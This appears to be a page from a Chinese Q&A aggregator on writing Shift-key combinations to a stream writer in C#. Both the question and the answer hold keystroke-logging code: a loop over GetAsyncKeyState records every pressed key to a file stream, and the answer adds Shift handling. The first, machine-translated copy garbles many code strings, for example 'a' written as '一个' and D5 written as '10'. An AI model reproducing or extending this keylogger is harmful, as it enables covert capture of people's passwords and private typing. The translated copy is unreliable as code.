如何在控制台中使用shift键写入键 [英] how can write the keys with shift key in console
本文介绍了如何在控制台中使用shift键写入键的处理方法，对大家解决问题具有一定的参考价值，需要的朋友们下面随着小编来一起学习吧！
问题描述
for （ Int32 i = 0 ; i < 255 ; i ++）
{
int keyState = GetAsyncKeyState（i）;
if （keyState == 1 || keyState == -32767）
{
switch （（Keys）i）
{
case Keys.ControlKey：sw.Write（ ）; break ;
case Keys.LMenu：sw.Write（ ）; break ;
case Keys.RMenu：sw.Write（ ）; break ;
case Keys.Space：sw.Write（ ）; break ;
case Keys.Return：sw.WriteLine（ \\\
）; break ;
case Keys.Back：sw.Write（ ）; break ;
case Keys.Tab：sw.Write（ ）; break ;
case Keys.ShiftKey：sw.Write（ ）; break ;
case Keys.LButton：sw.Write（ ）; break ;
case Keys.Insert：sw.Write（ ）; break ;
case Keys.Delete：sw.Write（ DEL）; break ;
case Keys.LShiftKey：sw.Write（ ）; break ;
case Keys.RShiftKey：sw.Write（ ）; break ;
case Keys.LControlKey：sw.Write（ ）; break ;
case Keys.RControlKey：sw.Write（ ）; break ;
case Keys.LWin：sw.Write（ [开始菜单]）; break ;
case Keys.A：sw.Write（ 一个）; break ;
case Keys.B：sw.Write（ b）; break ;
case Keys.C：sw.Write（ C）; break ;
case Keys.D：sw.Write（ d）; break ;
case Keys.E：sw.Write（ E）; break ;
case Keys.F：sw.Write（ F）; break ;
case Keys.G：sw.Write（ 克）; break ;
case Keys.H：sw.Write（ H）; break ;
case Keys.I：sw.Write（ i 的）; break ;
case Keys.J：sw.Write（ J）; break ;
case Keys.K：sw.Write（ K）; break ;
case Keys.L：sw.Write（ 升）; break ;
case Keys.M：sw.Write（ m 个）; break ;
case Keys.N：sw.Write（ N）; break ;
case Keys.O：sw.Write（ ○）; break ;
case Keys.P：sw.Write（ p）; break ;
case Keys.Q：sw.Write（ q）; break ;
case Keys.R：sw.Write（ R）; break ;
case Keys.S：sw.Write（ S）; break ;
case Keys.T：sw.Write（ t 的）; break ;
case Keys.U：sw.Write（ U）; break ;
case Keys.V：sw.Write（ v）; break ;
case Keys.W：sw.Write（ W）; break ;
case Keys.X：sw.Write（ X）; break ;
case Keys.Y：sw.Write（ Y）; break ;
case Keys.Z：sw.Write（ Z）; break ;
case Keys.D0：sw.Write（ 0）; break ;
case Keys.D1：sw.Write（ 1）; break ;
case Keys.D2：sw.Write（ 2）; break ;
case Keys.D3：sw.Write（ 3）; break ;
case Keys.D4：sw.Write（ 4）; break ;
case Keys.D5：sw.Write（ 10）; break ;
case Keys.D6：sw.Write（ 6）; break ;
case Keys.D7：sw.Write（ 7）; break ;
case Keys.D8：sw.Write（ 8）; break ;
case Keys.D9：sw.Write（ 9）; break ;
case Keys.Add：sw.Write（ +）; break ;
case Keys.Divide：sw.Write（ /）; break ;
case Keys.End：sw.Write（ 结束）; break ;
case Keys.Escape：sw.Write（ Esc）; break ;
case Keys.F1：sw.Write（ F1）; break ;
case Keys.F2：sw.Write（ F2）; break ;
case Keys.F3：sw.Write（ F3）; break ;
case Keys.F4：sw.Write（ F4）; break ;
case Keys.F5：sw.Write（ F5）; break ;
case Keys.F6：sw.Write（ F6）; break ;
case Keys.F7：sw.Write（ F7）; break ;
case Keys.F8：sw.Write（ F8）; break ;
默认：
sw.Write（（Keys）i）;
break ;
}
}}}
//怎么样可以在控制台中使用流编写器编写shift键组合..
解决方案
case Keys.D1：if（Control.ModifierKeys == Keys.Shift）sw.Write（ ！）;否则sw.Write（1）;打破;
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
switch ((Keys)i)
{
case Keys.ControlKey: sw.Write(""); break;
case Keys.LMenu: sw.Write(""); break;
case Keys.RMenu: sw.Write(""); break;
case Keys.Space: sw.Write(" "); break;
case Keys.Return: sw.WriteLine("\n"); break;
case Keys.Back: sw.Write(""); break;
case Keys.Tab: sw.Write(""); break;
case Keys.ShiftKey: sw.Write(""); break;
case Keys.LButton: sw.Write(""); break;
case Keys.Insert: sw.Write(""); break;
case Keys.Delete: sw.Write(" DEL "); break;
case Keys.LShiftKey: sw.Write(""); break;
case Keys.RShiftKey: sw.Write(""); break;
case Keys.LControlKey: sw.Write(""); break;
case Keys.RControlKey: sw.Write(""); break;
case Keys.LWin: sw.Write(" [Start Menu] "); break;
case Keys.A: sw.Write("a"); break;
case Keys.B: sw.Write("b"); break;
case Keys.C: sw.Write("c"); break;
case Keys.D: sw.Write("d"); break;
case Keys.E: sw.Write("e"); break;
case Keys.F: sw.Write("f"); break;
case Keys.G: sw.Write("g"); break;
case Keys.H: sw.Write("h"); break;
case Keys.I: sw.Write("i"); break;
case Keys.J: sw.Write("j"); break;
case Keys.K: sw.Write("k"); break;
case Keys.L: sw.Write("l"); break;
case Keys.M: sw.Write("m"); break;
case Keys.N: sw.Write("n"); break;
case Keys.O: sw.Write("o"); break;
case Keys.P: sw.Write("p"); break;
case Keys.Q: sw.Write("q"); break;
case Keys.R: sw.Write("r"); break;
case Keys.S: sw.Write("s"); break;
case Keys.T: sw.Write("t"); break;
case Keys.U: sw.Write("u"); break;
case Keys.V: sw.Write("v"); break;
case Keys.W: sw.Write("w"); break;
case Keys.X: sw.Write("x"); break;
case Keys.Y: sw.Write("y"); break;
case Keys.Z: sw.Write("z"); break;
case Keys.D0: sw.Write("0"); break;
case Keys.D1: sw.Write("1"); break;
case Keys.D2: sw.Write("2"); break;
case Keys.D3: sw.Write("3"); break;
case Keys.D4: sw.Write("4"); break;
case Keys.D5: sw.Write("5"); break;
case Keys.D6: sw.Write("6"); break;
case Keys.D7: sw.Write("7"); break;
case Keys.D8: sw.Write("8"); break;
case Keys.D9: sw.Write("9"); break;
case Keys.Add: sw.Write("+"); break;
case Keys.Divide: sw.Write("/"); break;
case Keys.End: sw.Write(" End "); break;
case Keys.Escape: sw.Write(" Esc "); break;
case Keys.F1: sw.Write(" F1 "); break;
case Keys.F2: sw.Write(" F2 "); break;
case Keys.F3: sw.Write(" F3 "); break;
case Keys.F4: sw.Write(" F4 "); break;
case Keys.F5: sw.Write(" F5 "); break;
case Keys.F6: sw.Write(" F6 "); break;
case Keys.F7: sw.Write(" F7 "); break;
case Keys.F8: sw.Write(" F8 "); break;
default:
sw.Write((Keys)i);
break;
}
}}}
//how can write the shift key combination with stream writer in console..
解决方案
case Keys.D1: if (Control.ModifierKeys == Keys.Shift) sw.Write("!");else sw.Write("1"); break;
这篇关于如何在控制台中使用shift键写入键的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
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